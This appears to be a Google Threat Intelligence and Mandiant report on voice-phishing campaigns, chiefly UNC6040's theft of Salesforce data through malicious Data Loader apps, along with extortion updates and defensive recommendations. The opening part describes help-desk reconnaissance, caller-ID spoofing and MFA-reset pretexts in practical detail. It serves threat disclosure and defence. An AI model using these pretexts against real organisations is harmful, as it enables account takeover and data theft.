Some organizations make use of automated phone systems that have pre-recorded messages and interactive menus. These systems can provide callers with business-related information, facilitate employee self-service, or route calls to appropriate departments. If not found online, an attacker may attempt to obtain the phone number for an automated service by contacting an employee, often at a reception desk, claiming to have misplaced the number. Calling into these automated services allows an attacker to anonymously identify common issues faced by end users, names of internal applications, additional phone numbers for specific support teams, and, occasionally, alerts about company-wide technical issues. This type of information can be used to craft pretexts for subsequent activity that involves impersonating IT support. 

Discovering Employee Identification Processes

Actors engaged in voice-based social engineering ultimately aim to interact with a human operator. While some automated systems provide a direct option to speak with a live agent, others can require some initial information to be provided, such as an employee ID. However, even in these cases, it is common for repeated incorrect entries to result in the transfer to a live agent anyway. Service desk agents handle a high volume of inbound calls ranging from internal employees needing a password reset to external customers experiencing problems with a public-facing application. They are generally given a scripted process for call handling including information they need to request from the caller for identification as well as where to escalate if they are unable to address the issue directly.

During the reconnaissance phase in social engineering a service desk, an attacker may feign ignorance or push boundaries of information disclosure before a requirement for identification is enforced. It is also important for an attacker to take note of how service desk personnel react to incorrect or insufficient information being provided. For example, an attacker may provide an employee ID with an incorrect associated name to observe the response, potentially eliciting the correct full name or determining the validity of the employee ID format. Attackers may also call at different times to converse with varying staff members, use different voice modulations to conceal repeated reconnaissance attempts, and iteratively learn more about the service desk's identification process each time.

Alternatively, once a service desk number has been identified, an attacker can better target standard employees directly. Using publicly available resources, attackers can spoof the inbound number of a phone call to match that of the legitimate service desk. Without a procedure for verifying inbound callers claiming to be from IT, unsuspecting targets may be convinced by threat actors to perform actions that grant account access or divulge information that can be used to better impersonate staff.

Crafting a Convincing Narrative

With sufficient reconnaissance data, an attacker can formulate targeted campaigns reflecting plausible employee scenarios. A common pretext for contacting a service desk is a forgotten password. Many organizations verify employees using multiple factors. While initial reconnaissance might provide an attacker with answers for knowledge-based authentication methods, challenges arise if device-based verification is required. An attacker might impersonate an employee who claims their phone is unavailable (e.g., damaged or lost during travel) and who needs urgent account access. Another common practice is for actors to impersonate employees identified as being on personal time off (PTO) via out-of-office replies, leveraging a sense of urgency to persuade service desk personnel. Responses to such situations can vary, especially for executive-level users. In the event of a successful MFA reset, the attacker can then call back and try to get a different agent on the phone to further reset the impersonated user's password for a full account compromise. If the legitimate employee is genuinely unavailable, unauthorized account access can persist for an extended period of time.

The Evolution of an Exploit 

The compromise of a single account can serve as a foundation for more complex social engineering campaigns. Breaching the perimeter of an organization often grants an attacker access to internal workflows, chats, documents, meeting invites, and ways to better uncover verified intelligence on existing employees. Open-source tools such as ROADrecon can extract details from entire Entra ID tenants, potentially revealing phone numbers, employee IDs, and organizational hierarchy. Attackers may also seek access to IT ticketing systems and support channels to impersonate service desk staff to end-users who have open requests. The more information an attacker possesses, the more believable their pretext becomes, increasing the probability of success.

Strategic Recommendations and Best Practices

Modern features in mobile technology, such as AI-powered Scam Detection on Android, demonstrate how software may be able to offer personal protection, but a comprehensive defense for organizations against vishing and related social engineering threats requires broad, proactive security initiatives and a defense-in-depth strategy. Mandiant recommends organizations consider the following best practices to reinforce their external perimeter and develop secure communication channels, particularly those involving IT support and employee verification.

Positive Identity Verification for Service Desk Interactions

• Train service desk personnel to rigorously perform positive identity verification for all employees before modifying accounts or providing security-sensitive information (including during initial enrollment). This is critical for any privileged accounts.

• Mandated verification methods should include options such as:

• On-camera/video conference verification where the employee presents a corporate badge or government-issued ID

• Utilization of an internal, up-to-date employee photo database

• Challenge/response questions based on information not easily discoverable externally (avoiding reliance on publicly available PII like date of birth or the last four digits of a Social Security number, as actors often possess this data)

• For high-risk changes, such as MFA resets or password changes for privileged accounts, implement out-of-band verification (e.g., a call-back to a registered phone number or confirmation via a known corporate email address of the employee or their manager).

• During periods of heightened threat or suspected compromise, consider temporarily disabling self-service password or MFA reset methods and routing all such requests through a manual service desk workflow with enhanced scrutiny.

Enforce Strong, Phishing-Resistant MFA

• MFA should be enforced on all sensitive and internet-facing portals to prevent unauthorized access even in the event of a password compromise. 

• Standardize one primary MFA solution, for most employees, to simplify security architecture and centralize a platform for detections and alerts.

• Remove weak forms of MFA, such as SMS, voice calls, or simple email links, as primary authentication factors. These are susceptible to vishing, SIM swapping, and other attacks.

• Prioritize phishing-resistant MFA methods:

• FIDO2-compliant security keys (hardware tokens), especially for administrative and privileged users

• Authenticator applications providing number matching or robust geo-verification features

• Soft-tokens that are not reliant on easily intercepted channels

• Ensure administrative users cannot register or use legacy/weak MFA methods, even if those are permitted for other user tiers.

Secure MFA Registration and Modification Processes

• Do not permit employees to self-register new MFA devices without stringent controls. Implement an IT-managed or otherwise secure enrollment process.

• Restrict MFA registration and modification actions to only be permissible from trusted IP locations and/or compliant corporate devices.

• Alert on and investigate suspicious MFA registration activities, such as the same MFA method or phone number being registered across multiple user accounts.

Manager Involvement and Segregation of Duties

• Service desks should notify managers (via verified contact channels sourced from internal directories) upon an employee's password reset, especially for sensitive accounts.

• Require manager approval, through a verified channel, for all MFA resets. This creates third-party awareness and an additional record.

• For larger organizations, consider segregating service desk responsibilities. Customer-facing support desks should generally not have permissions to modify internal corporate employee accounts.

Employee Training and Vishing Awareness

• Conduct regular phishing simulation exercises that include vishing scenarios to educate employees about the specific risks of voice-based social engineering.

• Train employees to always verify unexpected calls or requests for sensitive information, especially those claiming to be from IT support or other internal departments, by using an official internal directory to initiate a call-back or by contacting their manager.

• Train employees to recognize common vishing pretexts (e.g., urgent requests to avoid negative consequences, claims of system issues requiring immediate action, unexpected MFA prompts).

• Equip service desk employees with access to logs of previous calls and tickets to help identify abnormal patterns, such as repeated calls from unrecognized numbers or sequential MFA reset and password reset requests for the same user.

Security Monitoring and Alerting for Vishing-Related Activity

• Utilize security information and event management (SIEM) and security orchestration, automation, and response (SOAR) technologies to monitor employee sign-in activity and service desk interactions.

• Create specific alerts for the following:

• Password reset activity, particularly for privileged accounts or outside of expected patterns

• New MFA device enrollment or modification of existing MFA methods

• Multiple failed login attempts followed by a successful password or MFA reset

• MFA fatigue attacks (multiple sequential incomplete authentications)

• All activities flagged as abnormal should be reviewed by an internal security team and investigated with the impacted employee and their manager.

Further guidance on hardening against UNC3944-style threats, including broader identity, endpoint, and network infrastructure recommendations, is detailed by the Google Threat Intelligence Group (GTIG).

Conclusion

This discussion of voice-based social engineering and its proposed resolutions aims to provide insight into attack methodologies and preventative measures relevant to this threat vector. Organizations seeking direct support on this subject or other services related to attack simulation and red team exercises are encouraged to contact Mandiant for assistance. Mandiant can discuss specific needs in detail and explore tailored recommendations to better equip security postures against advanced and persistent threats.

Update (August 8): Google has completed its email notifications to those affected by this incident.

Update (August 8): Emails are actively being sent to those affected by this incident. Another update will be posted here once these alerts have been issued.

Update (August 5)

In June, one of Google’s corporate Salesforce instances was impacted by similar UNC6040 activity described in this post. Google responded to the activity, performed an impact analysis and began mitigations. The instance was used to store contact information and related notes for small and medium businesses. Analysis revealed that data was retrieved by the threat actor during a small window of time before the access was cut off. The data retrieved by the threat actor was confined to basic and largely publicly available business information, such as business names and contact details.

UNC6240

Google Threat Intelligence Group (GTIG) tracks the extortion activities following UNC6040 intrusions, sometimes several months after the initial data theft, as UNC6240. The extortion involves calls or emails to employees of the victim organization demanding payment in bitcoin within 72 hours. During these communications, UNC6240 has consistently claimed to be the threat group ShinyHunters.  

In addition, we believe threat actors using the 'ShinyHunters' brand may be preparing to escalate their extortion tactics by launching a data leak site (DLS). These new tactics are likely intended to increase pressure on victims, including those associated with the recent UNC6040 Salesforce-related data breaches. We continue to monitor this actor and will provide updates as appropriate.

UNC6240 Extortion Email Sender Addresses

• shinycorp@tuta[.]com
• shinygroup@tuta[.]com

UNC6040 (Evolving TTPs)

GTIG has observed an evolution in UNC6040's TTPs. While the group initially relied on the Salesforce Dataloader application, they have since shifted to using custom applications. These custom applications are typically Python scripts that perform a similar function to the Dataloader app. The updated attack chain involves a voice call to enroll a victim, which the threat actor initiates while using Mullvad VPN IPs or TOR. Following this initial engagement, the data collection is automated and through TOR IPs, a change that further complicates attribution and tracking efforts. GTIG observed that the threat actor shifted from creating Salesforce trial accounts using webmail emails to using compromised accounts from unrelated organizations to initially register their malicious applications. 

A Google Threat Intelligence (GTI) collection of related Indicators of Compromise (IOCs) is available.

Introduction

Google Threat Intelligence Group (GTIG) is tracking UNC6040, a financially motivated threat cluster that specializes in voice phishing (vishing) campaigns specifically designed to compromise organizations' Salesforce instances for large-scale data theft and subsequent extortion. Over the past several months, UNC6040 has demonstrated repeated success in breaching networks by having its operators impersonate IT support personnel in convincing telephone-based social engineering engagements. This approach has proven particularly effective in tricking employees, often within English-speaking branches of multinational corporations, into actions that grant the attackers access or lead to the sharing of sensitive credentials, ultimately facilitating the theft of organization’s Salesforce data. In all observed cases, attackers relied on manipulating end users, not exploiting any vulnerability inherent to Salesforce.

A prevalent tactic in UNC6040's operations involves deceiving victims into authorizing a malicious connected app to their organization's Salesforce portal. This application is often a modified version of Salesforce’s Data Loader, not authorized by Salesforce. During a vishing call, the actor guides the victim to visit Salesforce's connected app setup page to approve a version of the Data Loader app with a name or branding that differs from the legitimate version. This step inadvertently grants UNC6040 significant capabilities to access, query, and exfiltrate sensitive information directly from the compromised Salesforce customer environments. This methodology of abusing Data Loader functionalities via malicious connected apps is consistent with recent observations detailed by Salesforce in their guidance on protecting Salesforce environments from such threats.

In some instances, extortion activities haven't been observed until several months after the initial UNC6040 intrusion activity, which could suggest that UNC6040 has partnered with a second threat actor that monetizes access to the stolen data. During these extortion attempts, the actor has claimed affiliation with the well-known hacking group ShinyHunters, likely as a method to increase pressure on their victims.

Figure 1: Data Loader attack flow

UNC6040

GTIG is currently tracking a significant portion of the investigated activity as UNC6040. UNC6040 is a financially motivated threat cluster that accesses victim networks by voice phishing social engineering. Upon obtaining access, UNC6040 has been observed immediately exfiltrating data from the victim’s Salesforce environment using Salesforce’s Data Loader application. Following this initial data theft, UNC6040 was observed leveraging end-user credentials obtained through credential harvesting or vishing to move laterally through victim networks, accessing and exfiltrating data from the victim's accounts on other cloud platforms such as Okta and Microsoft 365.

Attacker Infrastructure 

UNC6040 utilized infrastructure to access Salesforce applications that also hosted an Okta phishing panel. This panel was used to trick victims into visiting it from their mobile phones or work computers during the social engineering calls. In these interactions, UNC6040 also directly requested user credentials and multifactor authentication codes to authenticate and add the Salesforce Data Loader application, facilitating data exfiltration.

Alongside the phishing infrastructure, UNC6040 primarily used Mullvad VPN IP addresses to access and perform the data exfiltration on the victim’s Salesforce environments and other services of the victim's network.

Overlap with Groups Linked to “The Com”

GTIG has observed infrastructure across various intrusions that shares characteristics with elements previously linked to UNC6040 and threat groups suspected of ties to the broader, loosely organized collective known as "The Com". We’ve also observed overlapping tactics, techniques, and procedures (TTPs), including social engineering via IT support, the targeting of Okta credentials, and an initial focus on English-speaking users at multinational companies. It's plausible that these similarities stem from associated actors operating within the same communities, rather than indicating a direct operational relationship between the threat actors.

Data Loader

Data Loader is an application developed by Salesforce, designed for the efficient import, export, and update of large data volumes within the Salesforce platform. It offers both a user interface and a command-line component, the latter providing extensive customization and automation capabilities. The application supports OAuth and allows for direct "app" integration via the "connected apps" functionality in Salesforce. Threat actors abuse this by persuading a victim over the phone to open the Salesforce connect setup page and enter a "connection code," thereby linking the actor-controlled Data Loader to the victim's environment.

Figure 2: The victim needs to enter a code to connect the threat actor controlled Data Loader

Modifications 

In some of the intrusions using Data Loader, threat actors utilized modified versions of Data Loader to exfiltrate Salesforce data from victim organizations. The proficiency with the tool and capabilities by executed queries seems to differ from one intrusion to another. 

In one instance, a threat actor used small chunk sizes for data exfiltration from Salesforce but was only able to retrieve approximately 10% of the data before detection and access revocation. In another case, numerous test queries were made with small chunk sizes initially. Once sufficient information was gathered, the actor rapidly increased the exfiltration volume to extract entire tables.

There were also cases where the threat actors configured their Data Loader application with the name "My Ticket Portal", aligning the tool's appearance with the social engineering pretext used during the vishing calls.

Outlook & Implications  

Voice phishing (vishing) as a social engineering method is not, in itself, a novel or innovative technique; it has been widely adopted by numerous financially motivated threat groups over recent years with varied results. However, this campaign by UNC6040 is particularly notable due to its focus on exfiltrating data specifically from Salesforce environments. Furthermore, this activity underscores a broader and concerning trend: threat actors are increasingly targeting IT support personnel as a primary vector for gaining initial access, exploiting their roles to compromise valuable enterprise data.

The success of campaigns like UNC6040's, leveraging these refined vishing tactics, demonstrates that this approach remains an effective threat vector for financially motivated groups seeking to breach organizational defenses. 

Given the extended time frame between initial compromise and extortion, it is possible that multiple victim organizations and potentially downstream victims could face extortion demands in the coming weeks or months.

Readiness, Mitigations, and Hardening 

This campaign underscores the importance of a shared responsibility model for cloud security. While platforms like Salesforce provide robust, enterprise-grade security controls, it’s essential for customers to configure and manage access, permissions, and user training according to best practices.

To defend against social engineering threats, particularly those abusing tools like Data Loader for data exfiltration, organizations should implement a defense-in-depth strategy. GTIG recommends the following key mitigations and hardening steps:

• Adhere to the Principle of Least Privilege, Especially for Data Access Tools: Grant users only the permissions essential for their roles—no more, no less. Specifically for tools like Data Loader, which often require the "API Enabled" permission for full functionality, limit its assignment strictly. This permission allows broad data export capabilities; therefore, its assignment must be carefully controlled. Per Salesforce's guidance, review and configure Data Loader access to restrict the number of users who can perform mass data operations, and regularly audit profiles and permission sets to ensure appropriate access levels.

• Manage Access to Connected Applications Rigorously: Control how external applications, including Data Loader, interact with your Salesforce environment. Diligently manage access to your connected apps, specifying which users, profiles, or permission sets can use them and from where. Critically, restrict powerful permissions such as "Customize Application" and "Manage Connected Apps"—which allow users to authorize or install new connected applications—only to essential and trusted administrative personnel. Consider developing a process to review and approve connected apps, potentially allowlisting known safe applications to prevent the unauthorized introduction of malicious ones, such as modified Data Loader instances.

• Enforce IP-Based Access Restrictions: To counter unauthorized access attempts, including those from threat actors using commercial VPNs, implement IP address restrictions. Set login ranges and trusted IPs, thereby restricting access to your defined enterprise and VPN networks. Define permitted IP ranges for user profiles and, where applicable, for connected app policies to ensure that logins and app authorizations from unexpected or non-trusted IP addresses are denied or appropriately challenged.

• Leverage Advanced Security Monitoring and Policy Enforcement with Salesforce Shield: For enhanced alerting, visibility, and automated response capabilities, utilize tools within Salesforce Shield. Transaction Security Policies allow you to monitor activities like large data downloads (a common sign of Data Loader abuse) and automatically trigger alerts or block these actions. Complement this with "Event Monitoring" to gain deep visibility into user behavior, data access patterns (e.g., who viewed what data and when), API usage, and other critical activities, helping to detect anomalies indicative of compromise. These logs can also be ingested into your internal security tools for broader analysis.

• Enforce Multi-Factor Authentication (MFA) Universally: While the social engineering tactics described may involve tricking users into satisfying an MFA prompt (e.g., for authorizing a malicious connected app), MFA remains a foundational security control. Salesforce states that "MFA is an essential, effective tool to enhance protection against unauthorized account access" and requires it for direct logins. Ensure MFA is robustly implemented across your organization and that users are educated on MFA fatigue tactics and social engineering attempts designed to circumvent this critical protection.

By implementing these measures, organizations can significantly strengthen their security posture against the types of vishing and the UNC6040 data exfiltration campaign detailed in this report. Regularly review Salesforce’s security documentation, including the Salesforce Security Guide for additional detailed guidance.

Read our vishing technical analysis for more details on the vishing threat, and strategic recommendations and best practices to stay ahead of it.